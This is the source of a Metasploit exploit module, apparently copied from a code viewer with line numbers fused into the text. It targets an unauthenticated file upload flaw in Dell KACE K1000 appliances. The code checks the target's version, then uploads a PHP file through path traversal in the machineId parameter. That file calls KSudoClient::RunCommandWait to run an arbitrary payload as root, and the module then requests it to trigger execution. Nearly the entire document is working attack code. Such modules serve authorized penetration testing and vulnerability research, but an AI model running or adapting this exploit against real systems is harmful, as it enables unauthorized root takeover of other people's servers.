Path: blob/master/modules/exploits/unix/http/dell_kace_k1000_upload.rb
33323 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Dell KACE K1000 File Upload',15'Description' => %q{16This module exploits a file upload vulnerability in Kace K100017versions 5.0 to 5.3, 5.4 prior to 5.4.76849 and 5.5 prior to 5.5.9054718which allows unauthenticated users to execute arbitrary commands19under the context of the 'www' user.2021This module also abuses the 'KSudoClient::RunCommandWait' function22to gain root privileges.2324This module has been tested successfully with Dell KACE K100025version 5.3.26},27'License' => MSF_LICENSE,28'Privileged' => true,29'Platform' => 'unix', # FreeBSD30'Arch' => ARCH_CMD,31'Author' => [32'Bradley Austin (steponequit)', # Initial discovery and exploit33'bcoles', # Metasploit34],35'References' => [36['CVE', '2014-125113'],37['URL', 'http://console-cowboys.blogspot.com/2014/03/the-curious-case-of-ninjamonkeypiratela.html']38],39'Payload' => {40'Space' => 1024,41'BadChars' => "\x00\x27",42'DisableNops' => true,43'Compat' =>44{45'PayloadType' => 'cmd',46'RequiredCmd' => 'generic perl'47}48},49'DefaultTarget' => 0,50'Targets' => [51['Automatic Targeting', { 'auto' => true }]52],53'DisclosureDate' => '2014-03-07',54'Notes' => {55'Reliability' => UNKNOWN_RELIABILITY,56'Stability' => UNKNOWN_STABILITY,57'SideEffects' => UNKNOWN_SIDE_EFFECTS58}59)60)61end6263def check64res = send_request_cgi('uri' => normalize_uri('service', 'kbot_upload.php'))65unless res66vprint_error('Connection failed')67return Exploit::CheckCode::Unknown68end69if res.code && res.code == 500 && res.headers['X-DellKACE-Appliance'].downcase == 'k1000'70if res.headers['X-DellKACE-Version'] =~ /\A([0-9])\.([0-9])\.([0-9]+)\z/71vprint_status("Found Dell KACE K1000 version #{res.headers['X-DellKACE-Version']}")72if $1.to_i == 5 && $2.to_i <= 3 # 5.0 to 5.373return Exploit::CheckCode::Vulnerable74elsif $1.to_i == 5 && $2.to_i == 4 && $3.to_i <= 76849 # 5.4 prior to 5.4.7684975return Exploit::CheckCode::Vulnerable76elsif $1.to_i == 5 && $2.to_i == 5 && $3.to_i <= 90547 # 5.5 prior to 5.5.9054777return Exploit::CheckCode::Vulnerable78end7980return Exploit::CheckCode::Safe81end82return Exploit::CheckCode::Detected83end84Exploit::CheckCode::Safe85end8687def exploit88# upload payload89fname = ".#{rand_text_alphanumeric(rand(8) + 5)}.php"90payload_path = "/kbox/kboxwww/tmp/"91post_data = "<?php require_once 'KSudoClient.class.php';KSudoClient::RunCommandWait('rm #{payload_path}#{fname};#{payload.encoded}');?>"92print_status("Uploading #{fname} (#{post_data.length} bytes)")93res = send_request_cgi(94'uri' => normalize_uri('service', 'kbot_upload.php'),95'method' => 'POST',96'vars_get' => Hash[{97'filename' => fname,98'machineId' => "#{'../' * (rand(5) + 4)}#{payload_path}",99'checksum' => 'SCRAMBLE',100'mac' => rand_text_alphanumeric(rand(8) + 5),101'kbotId' => rand_text_alphanumeric(rand(8) + 5),102'version' => rand_text_alphanumeric(rand(8) + 5),103'patchsecheduleid' => rand_text_alphanumeric(rand(8) + 5)104}.to_a.shuffle],105'data' => post_data106)107108unless res109fail_with(Failure::Unreachable, 'Connection failed')110end111112if res.code && res.code == 200113print_good('Payload uploaded successfully')114else115fail_with(Failure::UnexpectedReply, 'Unable to upload payload')116end117118# execute payload119res = send_request_cgi('uri' => normalize_uri('tmp', fname))120121unless res122fail_with(Failure::Unreachable, 'Connection failed')123end124125if res.code && res.code == 200126print_good('Payload executed successfully')127elsif res.code && res.code == 404128fail_with(Failure::NotVulnerable, "Could not find payload '#{fname}'")129else130fail_with(Failure::UnexpectedReply, 'Unable to execute payload')131end132end133end134135136